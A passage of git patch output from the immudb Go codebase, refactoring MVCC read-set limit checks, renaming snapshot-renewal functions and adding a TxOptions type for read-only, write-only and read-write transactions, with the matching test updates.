tx.mvccReadSetLimitReached() { return nil, ErrMVCCReadSetLimitExceeded } @@ -293,7 +297,7 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, expectedTx: valRef.Tx(), } - if tx.readsetSize == tx.st.mvccReadSetLimit { + if tx.mvccReadSetLimitReached() { return nil, ErrMVCCReadSetLimitExceeded } @@ -325,7 +329,7 @@ func (tx *OngoingTx) GetWithPrefixAndFilters(prefix, neq []byte, filters ...Filt filters: filters, } - if tx.readsetSize == tx.st.mvccReadSetLimit { + if tx.mvccReadSetLimitReached() { return nil, nil, ErrMVCCReadSetLimitExceeded } @@ -346,7 +350,7 @@ func (tx *OngoingTx) GetWithPrefixAndFilters(prefix, neq []byte, filters ...Filt expectedTx: valRef.Tx(), } - if tx.readsetSize == tx.st.mvccReadSetLimit { + if tx.mvccReadSetLimitReached() { return nil, nil, ErrMVCCReadSetLimitExceeded } diff --git a/embedded/store/ongoing_tx_keyreader.go b/embedded/store/ongoing_tx_keyreader.go index 65ccc14eb3..76a9863a11 100644 --- a/embedded/store/ongoing_tx_keyreader.go +++ b/embedded/store/ongoing_tx_keyreader.go @@ -54,7 +54,7 @@ func newExpectedReader(spec KeyReaderSpec) *expectedReader { } func newOngoingTxKeyReader(tx *OngoingTx, spec KeyReaderSpec) (*ongoingTxKeyReader, error) { - if tx.readsetSize == tx.st.mvccReadSetLimit { + if tx.mvccReadSetLimitReached() { return nil, ErrMVCCReadSetLimitExceeded } From 1ffa2702ca5a6b17b9d6b839fc6e41aa96ac8c08 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 23 Dec 2022 09:45:29 -0300 Subject: [PATCH 0085/1062] chore(embedded/tbtree): parametrize snapshot creation specs Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree.go | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 2d4570a964..609f841c03 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1673,10 +1673,14 @@ func (t *TBtree) SyncSnapshot() (*Snapshot, error) { } func (t *TBtree) Snapshot() (*Snapshot, error) { - return t.SnapshotSince(0) + return t.SnapshotRenewIfOlderThanTs(0) } -func (t *TBtree) SnapshotSince(ts uint64) (*Snapshot, error) { +func (t *TBtree) SnapshotRenewIfOlderThanTs(snapshotNotOlderThanTx uint64) (*Snapshot, error) { + return t.SnapshotRenewIfOlderThan(snapshotNotOlderThanTx, t.renewSnapRootAfter) +} + +func (t *TBtree) SnapshotRenewIfOlderThan(snapshotNotOlderThanTs uint64, snapshotRenewalPeriod time.Duration) (*Snapshot, error) { t.rwmutex.Lock() defer t.rwmutex.Unlock() @@ -1688,8 +1692,8 @@ func (t *TBtree) SnapshotSince(ts uint64) (*Snapshot, error) { return nil, ErrorToManyActiveSnapshots } - if t.lastSnapRoot == nil || t.lastSnapRoot.ts() < ts || - (t.renewSnapRootAfter > 0 && time.Since(t.lastSnapRootAt) >= t.renewSnapRootAfter) { + if t.lastSnapRoot == nil || t.lastSnapRoot.ts() < snapshotNotOlderThanTs || + (snapshotRenewalPeriod > 0 && time.Since(t.lastSnapRootAt) >= snapshotRenewalPeriod) { _, _, err := t.flushTree(t.cleanupPercentage, false, false, "SnapshotSince") if err != nil { From c4746cf305decff3e3cb564105b3d66e0c1c66a5 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 23 Dec 2022 09:47:42 -0300 Subject: [PATCH 0086/1062] feat(embedded/store): tx creation with options Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 23 ++++- embedded/store/immustore_test.go | 138 +++++++++++++-------------- embedded/store/indexer.go | 15 ++- embedded/store/indexer_test.go | 4 +- embedded/store/ongoing_tx.go | 45 ++++++--- embedded/store/ongoing_tx_options.go | 72 ++++++++++++++ 6 files changed, 204 insertions(+), 93 deletions(-) create mode 100644 embedded/store/ongoing_tx_options.go diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index d64b2bbb95..bc83609980 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -805,8 +805,21 @@ func (s *ImmuStore) Snapshot() (*Snapshot, error) { }, nil } -func (s *ImmuStore) SnapshotSince(tx uint64) (*Snapshot, error) { - snap, err := s.indexer.SnapshotSince(tx) +func (s *ImmuStore) SnapshotRenewIfOlderThanTs(tx uint64) (*Snapshot, error) { + snap, err := s.indexer.SnapshotRenewIfOlderThanTs(tx) + if err != nil { + return nil, err + } + + return &Snapshot{ + st: s, + snap: snap, + ts: time.Now(), + }, nil +} + +func (s *ImmuStore) SnapshotRenewIfOlderThan(snapshotNotOlderThanTx uint64, snapshotRenewalPeriod time.Duration) (*Snapshot, error) { + snap, err := s.indexer.SnapshotRenewIfOlderThan(snapshotNotOlderThanTx, snapshotRenewalPeriod) if err != nil { return nil, err } @@ -1098,11 +1111,11 @@ func (s *ImmuStore) appendData(entries []*EntrySpec, donec chan<- appendableResu } func (s *ImmuStore) NewWriteOnlyTx() (*OngoingTx, error) { - return newWriteOnlyTx(s) + return newOngoingTx(s, &TxOptions{Mode: WriteOnlyTx}) } -func (s *ImmuStore) NewTx() (*OngoingTx, error) { - return newReadWriteTx(s) +func (s *ImmuStore) NewTx(opts *TxOptions) (*OngoingTx, error) { + return newOngoingTx(s, opts) } func (s *ImmuStore) commit(otx *OngoingTx, expectedHeader *TxHeader, waitForIndexing bool) (*TxHeader, error) { diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 2d41609378..5e85d7e99b 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -262,7 +262,7 @@ func TestImmudbStoreWithTimeFunction(t *testing.T) { }) require.NoError(t, err) - tx, err := immuStore.NewTx() + tx, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx.Set([]byte("key1"), nil, []byte("value1")) @@ -898,7 +898,7 @@ func TestImmudbStoreIndexing(t *testing.T) { for { txID, _ := immuStore.CommittedAlh() - snap, err := immuStore.SnapshotSince(txID) + snap, err := immuStore.SnapshotRenewIfOlderThanTs(txID) require.NoError(t, err) for i := 0; i < int(snap.Ts()); i++ { @@ -1081,7 +1081,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { _, err := immuStore.Get([]byte("key1")) require.ErrorIs(t, err, embedded.ErrKeyNotFound) - tx, err := immuStore.NewTx() + tx, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) _, err = tx.Get([]byte("key1")) @@ -1151,10 +1151,10 @@ func TestImmudbStoreRWTransactions(t *testing.T) { }) t.Run("second ongoing tx after the first commit should succeed", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx() + tx2, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1_tx1")) @@ -1180,10 +1180,10 @@ func TestImmudbStoreRWTransactions(t *testing.T) { }) t.Run("second ongoing tx with multiple entries after the first commit should succeed", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx() + tx2, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1_tx1")) @@ -1212,10 +1212,10 @@ func TestImmudbStoreRWTransactions(t *testing.T) { }) t.Run("second ongoing tx after the first cancellation should succeed", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx() + tx2, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1_tx1")) @@ -1241,7 +1241,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { }) t.Run("deleted keys should not be reachable", func(t *testing.T) { - tx, err := immuStore.NewTx() + tx, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx.Delete([]byte{1, 2, 3}) @@ -1282,7 +1282,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.NotNil(t, valRef.KVMetadata()) require.False(t, valRef.KVMetadata().IsExpirable()) - tx, err = immuStore.NewTx() + tx, err = immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) defer tx.Cancel() @@ -1303,7 +1303,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { t.Run("non-expired keys should be reachable", func(t *testing.T) { nearFuture := time.Now().Add(2 * time.Second) - tx, err := immuStore.NewTx() + tx, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) md := NewKVMetadata() @@ -1347,7 +1347,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { t.Run("expired keys should not be reachable", func(t *testing.T) { now := time.Now() - tx, err := immuStore.NewTx() + tx, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) md := NewKVMetadata() @@ -1380,7 +1380,7 @@ func TestImmudbStoreKVMetadata(t *testing.T) { defer immustoreClose(t, immuStore) - tx, err := immuStore.NewTx() + tx, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) require.NotNil(t, tx) @@ -1425,7 +1425,7 @@ func TestImmudbStoreKVMetadata(t *testing.T) { require.ErrorIs(t, err, ErrKeyNotFound) }) - tx, err = immuStore.NewTx() + tx, err = immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) _, err = tx.Get([]byte{1, 2, 3}) @@ -1452,7 +1452,7 @@ func TestImmudbStoreNonIndexableEntries(t *testing.T) { defer immustoreClose(t, immuStore) - tx, err := immuStore.NewTx() + tx, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) require.NotNil(t, tx) @@ -1481,7 +1481,7 @@ func TestImmudbStoreNonIndexableEntries(t *testing.T) { require.Equal(t, []byte("indexedValue"), val) // commit tx with all non-indexable entries - tx, err = immuStore.NewTx() + tx, err = immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) require.NotNil(t, tx) @@ -1495,7 +1495,7 @@ func TestImmudbStoreNonIndexableEntries(t *testing.T) { require.ErrorIs(t, err, ErrKeyNotFound) // commit simple tx with an indexable entry - tx, err = immuStore.NewTx() + tx, err = immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) require.NotNil(t, tx) @@ -2548,7 +2548,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { defer immuStore.Close() // set initial value - otx, err := immuStore.NewTx() + otx, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key1"), nil, []byte("value1")) @@ -2558,7 +2558,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { require.NoError(t, err) // delete entry - otx, err = immuStore.NewTx() + otx, err = immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = otx.Delete([]byte("key1")) @@ -2568,7 +2568,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { require.NoError(t, err) t.Run("must not exist constraint should pass when evaluated over a deleted key", func(t *testing.T) { - otx, err := immuStore.NewTx() + otx, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key2"), nil, []byte("value2")) @@ -2582,7 +2582,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { }) t.Run("must exist constraint should pass when evaluated over an existent key", func(t *testing.T) { - otx, err := immuStore.NewTx() + otx, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key3"), nil, []byte("value3")) @@ -2596,7 +2596,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { }) t.Run("must not be modified after constraint should not pass when key is deleted after specified tx", func(t *testing.T) { - otx, err := immuStore.NewTx() + otx, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key4"), nil, []byte("value4")) @@ -2610,7 +2610,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { }) t.Run("must not be modified after constraint should pass when if key does not exist", func(t *testing.T) { - otx, err = immuStore.NewTx() + otx, err = immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key4"), nil, []byte("value4")) @@ -2624,7 +2624,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { }) // insert an expirable entry - otx, err = immuStore.NewTx() + otx, err = immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) md := NewKVMetadata() @@ -2652,7 +2652,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { } t.Run("must not be modified after constraint should not pass when if expired and expiration was set after specified tx", func(t *testing.T) { - otx, err = immuStore.NewTx() + otx, err = immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key5"), nil, []byte("value5")) @@ -2666,7 +2666,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { }) t.Run("must not exist constraint should pass when if expired", func(t *testing.T) { - otx, err = immuStore.NewTx() + otx, err = immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key5"), nil, []byte("value5")) @@ -2680,7 +2680,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { }) t.Run("must exist constraint should not pass when if expired", func(t *testing.T) { - otx, err = immuStore.NewTx() + otx, err = immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = otx.Set([]byte("key5"), nil, []byte("value5")) @@ -3496,10 +3496,10 @@ func TestImmudbStoreMVCC(t *testing.T) { defer immuStore.Close() t.Run("no read conflict should be detected when read keys are not updated by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx() + tx2, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3519,10 +3519,10 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected even when the key was updated by another transaction if its value was not read", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx() + tx2, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3539,10 +3539,10 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when read key was updated by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx() + tx2, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key3"), nil, []byte("value")) @@ -3562,7 +3562,7 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when read key was deleted by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key4"), nil, []byte("value")) @@ -3571,10 +3571,10 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx1.Commit() require.NoError(t, err) - tx2, err := immuStore.NewTx() + tx2, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) - tx3, err := immuStore.NewTx() + tx3, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx2.Delete([]byte("key4")) @@ -3594,10 +3594,10 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("no read conflict should be detected when read keys are not updated by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx() + tx2, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3618,10 +3618,10 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when read key was updated by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx() + tx2, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3642,10 +3642,10 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when read key was deleted by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) - tx2, err := immuStore.NewTx() + tx2, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx1.Delete([]byte("key1")) @@ -3666,7 +3666,7 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when read keys have been updated by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3675,10 +3675,10 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx1.Commit() require.NoError(t, err) - tx2, err := immuStore.NewTx() + tx2, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) - tx3, err := immuStore.NewTx() + tx3, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx2.Set([]byte("key2"), nil, []byte("value2")) @@ -3724,7 +3724,7 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("no read conflict should be detected when read keys have been updated by the ongoing transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3733,10 +3733,10 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx1.Commit() require.NoError(t, err) - tx2, err := immuStore.NewTx() + tx2, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) - tx3, err := immuStore.NewTx() + tx3, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx2.Set([]byte("key2"), nil, []byte("value2")) @@ -3779,7 +3779,7 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when reading more entries than expected", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3788,10 +3788,10 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx1.Commit() require.NoError(t, err) - tx2, err := immuStore.NewTx() + tx2, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) - tx3, err := immuStore.NewTx() + tx3, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx2.Set([]byte("key5"), nil, []byte("value5")) @@ -3823,7 +3823,7 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when read keys are deleted by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3832,10 +3832,10 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx1.Commit() require.NoError(t, err) - tx2, err := immuStore.NewTx() + tx2, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) - tx3, err := immuStore.NewTx() + tx3, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx2.Delete([]byte("key1")) @@ -3868,7 +3868,7 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when read keys are deleted by the ongoing transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3877,10 +3877,10 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx1.Commit() require.NoError(t, err) - tx2, err := immuStore.NewTx() + tx2, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) - tx3, err := immuStore.NewTx() + tx3, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx2.Delete([]byte("key1")) @@ -3913,7 +3913,7 @@ func TestImmudbStoreMVCC(t *testing.T) { }) t.Run("read conflict should be detected when read keys are deleted by another transaction", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1")) @@ -3925,10 +3925,10 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx1.Commit() require.NoError(t, err) - tx2, err := immuStore.NewTx() + tx2, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) - tx3, err := immuStore.NewTx() + tx3, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) err = tx2.Delete([]byte("key1")) @@ -3971,7 +3971,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { defer immuStore.Close() t.Run("MVCC read-set limit should be reached when randomly reading keys", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { @@ -3989,7 +3989,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { }) t.Run("MVCC read-set limit should not be reached when reading an updated key", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) for i := 0; i <= mvccReadsetLimit; i++ { @@ -4007,7 +4007,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { }) t.Run("MVCC read-set limit should be reached when reading keys by prefix", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { @@ -4025,7 +4025,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { }) t.Run("MVCC read-set limit should not be reached when reading an updated entries", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) for i := 0; i <= mvccReadsetLimit; i++ { @@ -4043,7 +4043,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { }) t.Run("MVCC read-set limit should be reached when scanning out of read-set boundaries", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { @@ -4071,7 +4071,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { }) t.Run("MVCC read-set limit should be reached when reseting a reader out of read-set boundaries", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { @@ -4099,7 +4099,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { }) t.Run("MVCC read-set limit should be reached when reading non-updated keys", func(t *testing.T) { - tx1, err := immuStore.NewTx() + tx1, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) for i := 0; i <= mvccReadsetLimit; i++ { @@ -4110,7 +4110,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { _, err = tx1.Commit() require.NoError(t, err) - tx2, err := immuStore.NewTx() + tx2, err := immuStore.NewTx(DefaultTxOptions()) require.NoError(t, err) for i := 0; i < mvccReadsetLimit; i++ { diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 55e4059e70..72ccecd16e 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -152,7 +152,7 @@ func (idx *indexer) Snapshot() (*tbtree.Snapshot, error) { return idx.index.Snapshot() } -func (idx *indexer) SnapshotSince(tx uint64) (*tbtree.Snapshot, error) { +func (idx *indexer) SnapshotRenewIfOlderThanTs(snapshotNotOlderThanTx uint64) (*tbtree.Snapshot, error) { idx.mutex.Lock() defer idx.mutex.Unlock() @@ -160,7 +160,18 @@ func (idx *indexer) SnapshotSince(tx uint64) (*tbtree.Snapshot, error) { return nil, ErrAlreadyClosed } - return idx.index.SnapshotSince(tx) + return idx.index.SnapshotRenewIfOlderThanTs(snapshotNotOlderThanTx) +} + +func (idx *indexer) SnapshotRenewIfOlderThan(snapshotNotOlderThanTx uint64, snapshotRenewalPeriod time.Duration) (*tbtree.Snapshot, error) { + idx.mutex.Lock() + defer idx.mutex.Unlock() + + if idx.closed { + return nil, ErrAlreadyClosed + } + + return idx.index.SnapshotRenewIfOlderThan(snapshotNotOlderThanTx, snapshotRenewalPeriod) } func (idx *indexer) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []byte, tx uint64, hc uint64, err error) { diff --git a/embedded/store/indexer_test.go b/embedded/store/indexer_test.go index 2aec166803..6524108f9e 100644 --- a/embedded/store/indexer_test.go +++ b/embedded/store/indexer_test.go @@ -61,7 +61,7 @@ func TestClosedIndexerFailures(t *testing.T) { require.Zero(t, snap) require.ErrorIs(t, err, ErrAlreadyClosed) - snap, err = indexer.SnapshotSince(0) + snap, err = indexer.SnapshotRenewIfOlderThanTs(0) require.Zero(t, snap) require.ErrorIs(t, err, ErrAlreadyClosed) @@ -185,7 +185,7 @@ func TestClosedIndexer(t *testing.T) { assert.Error(t, err) assert.ErrorIs(t, err, ErrAlreadyClosed) - _, err = i.SnapshotSince(0) + _, err = i.SnapshotRenewIfOlderThanTs(0) assert.Error(t, err) assert.ErrorIs(t, err, ErrAlreadyClosed) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 4f46c0b9d4..1bf50d165e 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -27,8 +27,9 @@ import ( // OngoingTx (no-thread safe) represents an interactive or incremental transaction with support of RYOW. // The snapshot may be locally modified but isolated from other transactions type OngoingTx struct { - st *ImmuStore - snap *Snapshot + st *ImmuStore + snap *Snapshot + readOnly bool entries []*EntrySpec entriesByKey map[[sha256.Size]byte]int @@ -68,33 +69,47 @@ type EntrySpec struct { Value []byte } -func newWriteOnlyTx(s *ImmuStore) (*OngoingTx, error) { - return &OngoingTx{ - st: s, - entriesByKey: make(map[[sha256.Size]byte]int), - ts: time.Now(), - }, nil -} +func newOngoingTx(s *ImmuStore, opts *TxOptions) (*OngoingTx, error) { + err := opts.Validate() + if err != nil { + return nil, err + } -func newReadWriteTx(s *ImmuStore) (*OngoingTx, error) { tx := &OngoingTx{ st: s, entriesByKey: make(map[[sha256.Size]byte]int), ts: time.Now(), } - precommittedTxID := s.lastPrecommittedTxID() + if opts.Mode == WriteOnlyTx { + return tx, nil + } - err := s.WaitForIndexingUpto(precommittedTxID, nil) - if err != nil { - return nil, err + tx.readOnly = opts.Mode == ReadOnlyTx + + var snapshotNotOlderThanTx uint64 + + if opts.SnapshotNotOlderThanTx != nil { + lastPrecommittedTxID := s.lastPrecommittedTxID() + snapshotNotOlderThanTx = opts.SnapshotNotOlderThanTx(lastPrecommittedTxID) + + if snapshotNotOlderThanTx > lastPrecommittedTxID { + return nil, fmt.Errorf("%w: snapshotNotOlderThanTx is greater than the last precommitted transaction", ErrIllegalArguments) + } + + err := s.WaitForIndexingUpto(snapshotNotOlderThanTx, nil) + if err != nil { + return nil, err + } } - tx.snap, err = s.SnapshotSince(precommittedTxID) + snap, err := s.SnapshotRenewIfOlderThan(snapshotNotOlderThanTx, opts.SnapshotRenewalPeriod) if err != nil { return nil, err } + tx.snap = snap + // using an "interceptor" to construct the valueRef from current entries // so to avoid storing more data into the snapshot tx.snap.refInterceptor = func(key []byte, valRef ValueRef) ValueRef { diff --git a/embedded/store/ongoing_tx_options.go b/embedded/store/ongoing_tx_options.go new file mode 100644 index 0000000000..5f4f279562 --- /dev/null +++ b/embedded/store/ongoing_tx_options.go @@ -0,0 +1,72 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package store + +import ( + "fmt" + "time" +) + +type TxMode int + +const ( + ReadOnlyTx TxMode = iota + WriteOnlyTx + ReadWriteTx +) + +type TxOptions struct { + Mode TxMode + SnapshotNotOlderThanTx func(lastPrecommittedTxID uint64) uint64 + SnapshotRenewalPeriod time.Duration +} + +func DefaultTxOptions() *TxOptions { + return &TxOptions{ + Mode: ReadWriteTx, + SnapshotNotOlderThanTx: func(lastPrecommittedTxID uint64) uint64 { + return lastPrecommittedTxID + }, + } +} + +func (opts *TxOptions) Validate() error { + if opts == nil { + return fmt.Errorf("%w: nil options", ErrInvalidOptions) + } + + if opts.Mode != ReadOnlyTx && opts.Mode != WriteOnlyTx && opts.Mode != ReadWriteTx { + return fmt.Errorf("%w: invalid transaction mode", ErrInvalidOptions) + } + + return nil +} + +func (opts *TxOptions) WithMode(mode TxMode) *TxOptions { + opts.Mode = mode + return opts +} + +func (opts *TxOptions) WithSnapshotNotOlderThanTx(snapshotNotOlderThanTx func(lastPrecommittedTxID uint64) uint64) *TxOptions { + opts.SnapshotNotOlderThanTx = snapshotNotOlderThanTx + return opts +} + +func (opts *TxOptions) 